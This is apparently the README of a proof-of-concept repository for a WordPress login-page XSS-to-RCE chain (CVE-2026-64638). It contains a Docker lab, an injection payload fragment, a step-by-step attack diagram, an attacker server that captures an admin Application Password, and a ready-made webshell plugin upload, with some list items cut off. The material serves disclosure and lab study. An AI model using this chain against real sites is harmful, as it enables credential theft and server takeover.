
针对 CVE-2026-64638(XSS2Shell)的功能性 PoC:WordPress Core 中从预认证 XSS 到 RCE 的攻击链。包含 Docker 实验环境 + Python 攻击服务器 + 技术分析与缓解措施。
关于 XSS2Shell(CVE-2026-64638)攻击链的教育性概念验证(PoC), 这是 pwn.ai 自主发现并于 2026 年 8 月 7 日披露的 WordPress Core 预认证 XSS → RCE 漏洞。
CVE-2026-64638 是 WordPress 登录界面(wp-login.php)中一个预认证的反射型 跨站脚本(XSS)漏洞。它影响所有受维护且版本低于 7.0.3 的 WordPress 版本;7.0.3 于 2026 年 8 月 6 日作为紧急 安全版本 发布。该漏洞的 CVSS v4.0 评分为 8.9。
这条名为 XSS2Shell 的攻击链演示了:仅凭一次使用被篡改 用户名 的失败 登录 尝试,攻击者就可以:
strip_tags)与 WordPress(wp_kses_post)两个语法解析器之间的差异,在 登录 页面中注入活跃的 DOM 元素。user-profile.js)的执行流程,向同源发起一项 REST JSONP 请求。jQuery.globalEval() 将 JSONP 响应转换为在 WordPress 源上执行的 JavaScript。最终结果是:从管理员单击一次攻击者控制的链接开始,即可在 WordPress 服务器上以 Web 进程用户(通常是 www-data)身份实现远程代码执行(RCE)。
本仓库包含严格意义上的教育与防御性材料。
该 PoC 附带一个自包含的 Docker 环境,其唯一用途是作为可复现的本地靶机。
┌─────────────────────────────────────────────────────────────────────┐
│ 1. XSS pre-auth en wp-login.php │
│ log=< area id=ajaxurl href=/?rest_route=/&_jsonp=...> │
│ (discrepancia strip_tags ↔ wp_kses_post) │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 2. user-profile.js dispara .trigger('click') │
│ DOM clobbering de ajaxurl → petición POST al origen │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 3. REST JSONP responde application/javascript │
│ jQuery.globalEval() ejecuta el callback en el origen WP │
└──────────────────────────────────────────┬──────────────────────────┘
│ callback = window.opener
│ .approve.click
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 4. SOME: click() cruza la frontera opener→admin │
│ authorize-application.php#approve se pulsa en sesión admin │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 5. WP crea Application Password → redirige a success_url │
│ El atacante captura user_login + password en callback.php │
└──────────────────────────────────────────┬──────────────────────────┘
│ HTTP Basic REST
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 6. POST /wp-json/wp/v2/pages → publica página con <script> │
│ El admin visita la página → JS en origen WP con sesión admin │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 7. fetch update.php?action=upload-plugin → sube payload.zip │
│ PHP del plugin es accesible directamente sin activarlo │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 8. RCE confirmada: GET /wp-content/plugins/payload/shell.php │
└─────────────────────────────────────────────────────────────────────┘
该 PoC 设计为在 macOS 或 Linux 上运行,需要:
zip 扩展(用于手动构建 payload,可选;已构建好的 ZIP 已包含在 payload/ 中)。无需手动安装 WordPress:docker-compose.yml 会启动一个存在漏洞的 WordPress 7.0.2(补丁之前的最后一个版本)以及 MariaDB。
POC XSS2Shell (CVE-2026-64638)/
├── README.md ← Este archivo
├── docker-compose.yml ← Blanco: WordPress 7.0.2 + MariaDB
├── .env.example ← Variables de configuración
├── exploit.py ← Orquestador en Python (opcional)
├── attacker/ ← Infraestructura del atacante
│ ├── index.html ← Página cebo con la cadena SOME
│ ├── callback.php ← Receptor de la Application Password
│ └── server.py ← Servidor estático + PHP embebido
├── payload/ ← Plugin ZIP malicioso
│ ├── build_payload.py ← Generador del ZIP
│ ├── shell.php ← Webshell mínimo
│ └── payload.zip ← ZIP preconstruido (listo para usar)
└── docs/
├── ANALISIS.md ← Análisis técnico detallado
└── MITIGACION.md ← Guía de mitigación y hardening
cp .env.example .env
docker compose up -d
WordPress 将在 http://localhost:8080 上可用。按照安装向导操作,并创建一个管理员用户(例如 admin / admin-password)。
Dockerfile 将镜像固定为
wordpress:7.0.2-php8.2-apache,这是补丁 7.0.3 之前的最后一个版本。
# En otro terminal, dentro de attacker/
python3 server.py
攻击者服务器监听于 http://localhost:9000,并暴露:
/ → index.html(诱饵页面)。/callback.php → 应用程序密码(Application Password)接收端。在运行 server.py 的终端中会出现类似下面的一行:
[+] Application Password recibida para el usuario 'admin':
XXXX XXXX XXXX XXXX XXXX XXXX
该凭据也会保存在 attacker/captured_credentials.txt 中。
几秒钟后,index.html 中的编排器将完成:
payload.zip 上传到 wp-content/plugins/payload/。使用以下命令验证代码执行:
curl -sI http://localhost:8080/wp-content/plugins/payload/shell.php
响应中包含 Hacked: true 头以及 JSON 响应体,即确认 RCE 成功。
攻击链执行完毕后,以下 端点 可作为证据:
| 资源 | 预期证据 |
|---|---|
GET /wp-content/plugins/payload/shell.php | 头 Hacked: true + JSON {"rce":true,"user":"www-data"} |
attacker/captured_credentials.txt |
docs/ANALISIS.md — 对攻击链每个阶段的详细技术分析,并附有对 WordPress 源代码的引用。docs/MITIGACION.md — 推荐的缓解措施、加固(hardening)方案以及 补丁 7.0.3 的验证。依据 MIT 许可证分发。更多详情请参阅 LICENSE 文件。
| 捕获到的应用程序密码(Application Password) |
wp-admin → 应用程序 → 应用程序密码 | 一个名为“SomeApp”的新条目 |